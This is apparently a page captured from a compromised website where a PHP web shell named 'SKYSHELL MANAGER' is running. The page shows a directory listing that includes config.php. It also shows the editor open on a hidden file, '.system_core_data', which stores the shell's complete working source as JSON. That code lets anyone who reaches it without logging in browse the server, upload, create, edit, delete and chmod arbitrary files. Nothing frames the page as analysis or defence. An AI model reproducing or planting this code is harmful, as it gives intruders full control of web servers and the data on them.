📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
501.75 KB
0644
🗑️
⬇️
✏️
🔒
Editing: .system_core_data
{"name":"system.php","code":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <title>\uff33\uff2b\uff39\uff33\uff28\uff25\uff2c\uff2c \uff2d\uff21\uff2e\uff21\uff27\uff25\uff32<\/title>\n <style>\n body {\n background-color: #111;\n color: #0f0;\n font-family: Arial, sans-serif;\n margin: 0;\n padding: 20px;\n }\n\n h2 {\n text-align: center;\n font-size: 36px;\n font-weight: bold;\n margin: 10px 0;\n position: relative;\n background: linear-gradient(90deg, #ff0000, #ffff00, #00ff00, #00ffff, #0000ff);\n background-size: 200%;\n color: transparent;\n -webkit-background-clip: text;\n animation: gradientAnimation 3s linear infinite;\n }\n\n @keyframes gradientAnimation {\n 0% { background-position: 200% 0%; }\n 50% { background-position: 0% 100%; }\n 100% { background-position: 200% 0%; }\n }\n\n .php-version { position: absolute; top: 10px; right: 20px; font-size: 14px; color: #0ff; }\n a { color: #6cf; text-decoration: none; }\n a:hover { text-decoration: underline; }\n table { width: 100%; border-collapse: collapse; margin-top: 20px; }\n th, td { padding: 10px; border: 1px solid #333; transition: background 0.3s, color 0.3s; }\n tr:hover { background-color: #32CD32; }\n tr:hover td a.filename-link { color: #000; font-weight: bold; }\n .filename-link { color: #0ff; }\n .action-cell { text-align: right; }\n input, button, textarea {\n background: #222;\n color: #0f0;\n border: 1px solid #444;\n padding: 5px 10px;\n margin: 5px 0;\n }\n button { cursor: pointer; }\n .alert-message {\n color: #32CD32;\n background-color: #222;\n padding: 10px;\n text-align: center;\n font-size: 18px;\n margin: 20px 0;\n }\n .file-upload-container { display: flex; justify-content: space-between; align-items: center; }\n .emoji { color: #fff; }\n .path-display a { color: #fff; text-decoration: underline; }\n <\/style>\n<\/head>\n<body>\n\n<h2><span class=\"emoji\">\ud83d\udcc1<\/span> \uff33\uff2b\uff39\uff33\uff28\uff25\uff2c\uff2c \uff2d\uff21\uff2e\uff21\uff27\uff25\uff32-<span class=\"emoji\">\ud83d\uded2<\/span>\n <span class=\"php-version\">PHP v<?= phpversion(); ?><\/span>\n<\/h2>\n\n<?php\n$path = isset($_GET['path']) ? $_GET['path'] : getcwd();\n$path = realpath($path);\n$alertMessage = \"\";\n\n\/\/ Upload\nif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {\n $filename = basename($_FILES['file']['name']);\n if (move_uploaded_file($_FILES['file']['tmp_name'], $path . DIRECTORY_SEPARATOR . $filename)) {\n $alertMessage = \"File uploaded successfully!\";\n } else {\n $alertMessage = \"File upload failed!\";\n }\n}\n\n\/\/ Create folder\nif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newfolder'])) {\n $folder = $path . DIRECTORY_SEPARATOR . $_POST['newfolder'];\n if (!file_exists($folder)) {\n mkdir($folder);\n $alertMessage = \"Folder created successfully!\";\n } else {\n $alertMessage = \"Folder already exists!\";\n }\n}\n\n\/\/ Create file\nif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newfile'])) {\n $file = $path . DIRECTORY_SEPARATOR . $_POST['newfile'];\n if (!file_exists($file)) {\n file_put_contents($file, '');\n $alertMessage = \"File created successfully!\";\n } else {\n $alertMessage = \"File already exists!\";\n }\n}\n\n\/\/ Change permission\nif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_value'])) {\n $file = $_POST['chmod_file'];\n $perm = $_POST['chmod_value'];\n if (file_exists($file)) {\n chmod($file, octdec($perm));\n $alertMessage = \"Permissions changed successfully!\";\n } else {\n $alertMessage = \"File does not exist!\";\n }\n}\n\n\/\/ Delete\nif (isset($_GET['delete'])) {\n $file = urldecode($_GET['delete']);\n if (file_exists($file)) {\n unlink($file);\n header(\"Location: ?path=\" . urlencode(dirname($file)));\n exit;\n }\n}\n\n\/\/ Save Edited File\nif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file_path'], $_POST['edited_content'])) {\n $filePath = $_POST['edit_file_path'];\n $newContent = $_POST['edited_content'];\n if (file_exists($filePath)) {\n file_put_contents($filePath, $newContent);\n $alertMessage = \"File updated successfully!\";\n } else {\n $alertMessage = \"File does not exist!\";\n }\n}\n?>\n\n<?php if ($alertMessage): ?>\n <div class=\"alert-message\"><?= $alertMessage ?><\/div>\n<?php endif; ?>\n\n<div class=\"file-upload-container\">\n <div>\n <form method=\"post\">\n <input type=\"text\" name=\"newfolder\" placeholder=\"\ud83d\udcc1 New Folder\" required>\n <button type=\"submit\">Create Folder<\/button>\n <\/form>\n <form method=\"post\">\n <input type=\"text\" name=\"newfile\" placeholder=\"\ud83d\udcc4 New File\" required>\n <button type=\"submit\">Create File<\/button>\n <\/form>\n <\/div>\n <div>\n <form method=\"post\" enctype=\"multipart\/form-data\">\n <input type=\"file\" name=\"file\" onchange=\"this.form.submit()\">\n <\/form>\n <\/div>\n<\/div>\n\n<!-- Current Path Display -->\n<p class=\"path-display\"><b>Current Path:<\/b>\n<?php\n$parts = explode(DIRECTORY_SEPARATOR, $path);\n$build = '';\nforeach ($parts as $part) {\n if ($part == '') continue;\n $build .= DIRECTORY_SEPARATOR . $part;\n echo \"<a href='?path=\" . urlencode($build) . \"'>$part<\/a>\/\";\n}\n?>\n<\/p>\n\n<!-- File Table -->\n<table>\n <tr>\n <th>Name<\/th><th>Size<\/th><th>Permissions<\/th><th>Actions<\/th>\n <\/tr>\n<?php\n$files = scandir($path);\nusort($files, function ($a, $b) use ($path) {\n return is_dir($path . DIRECTORY_SEPARATOR . $b) - is_dir($path . DIRECTORY_SEPARATOR . $a);\n});\nforeach ($files as $file) {\n if ($file == '.') continue;\n $full = $path . DIRECTORY_SEPARATOR . $file;\n $isDir = is_dir($full);\n $perm = substr(sprintf('%o', fileperms($full)), -4);\n $size = $isDir ? '-' : filesize($full);\n echo \"<tr>\";\n echo \"<td>\" . ($isDir ? \"\ud83d\udcc1\" : \"\ud83d\udcc4\") . \" <a class='filename-link' href='?path=\" . urlencode($full) . \"'>$file<\/a><\/td>\";\n echo \"<td>\" . ($isDir ? '-' : round($size \/ 1024, 2) . ' KB') . \"<\/td>\";\n echo \"<td>$perm<\/td>\";\n echo \"<td class='action-cell'>\n <a href='?delete=\" . urlencode($full) . \"'>\ud83d\uddd1\ufe0f<\/a>\n \" . (!$isDir ? \"<a href='$full' download>\u2b07\ufe0f<\/a> <a href='?edit=\" . urlencode($full) . \"'>\u270f\ufe0f<\/a>\" : \"\") . \"\n <form method='post' style='display:inline;'>\n <input type='hidden' name='chmod_file' value='$full'>\n <input type='text' name='chmod_value' placeholder='Perm' style='width:60px;'>\n <button type='submit'>\ud83d\udd12<\/button>\n <\/form>\n <\/td>\";\n echo \"<\/tr>\";\n}\n?>\n<\/table>\n\n<!-- Edit File Section -->\n<?php if (isset($_GET['edit']) && is_file($_GET['edit'])):\n $fileToEdit = $_GET['edit'];\n $content = htmlspecialchars(file_get_contents($fileToEdit));\n?>\n <h3 style=\"color:#fff;\">Editing: <?= basename($fileToEdit) ?><\/h3>\n <form method=\"post\">\n <input type=\"hidden\" name=\"edit_file_path\" value=\"<?= htmlspecialchars($fileToEdit) ?>\">\n <textarea name=\"edited_content\" rows=\"20\" style=\"width:100%;background:#111;color:#0f0;border:1px solid #444;\"><?= $content ?><\/textarea><br>\n <button type=\"submit\">\ud83d\udcbe Save Changes<\/button>\n <\/form>\n<?php endif; ?>\n\n<\/body>\n<\/html>\n"}
💾 Save Changes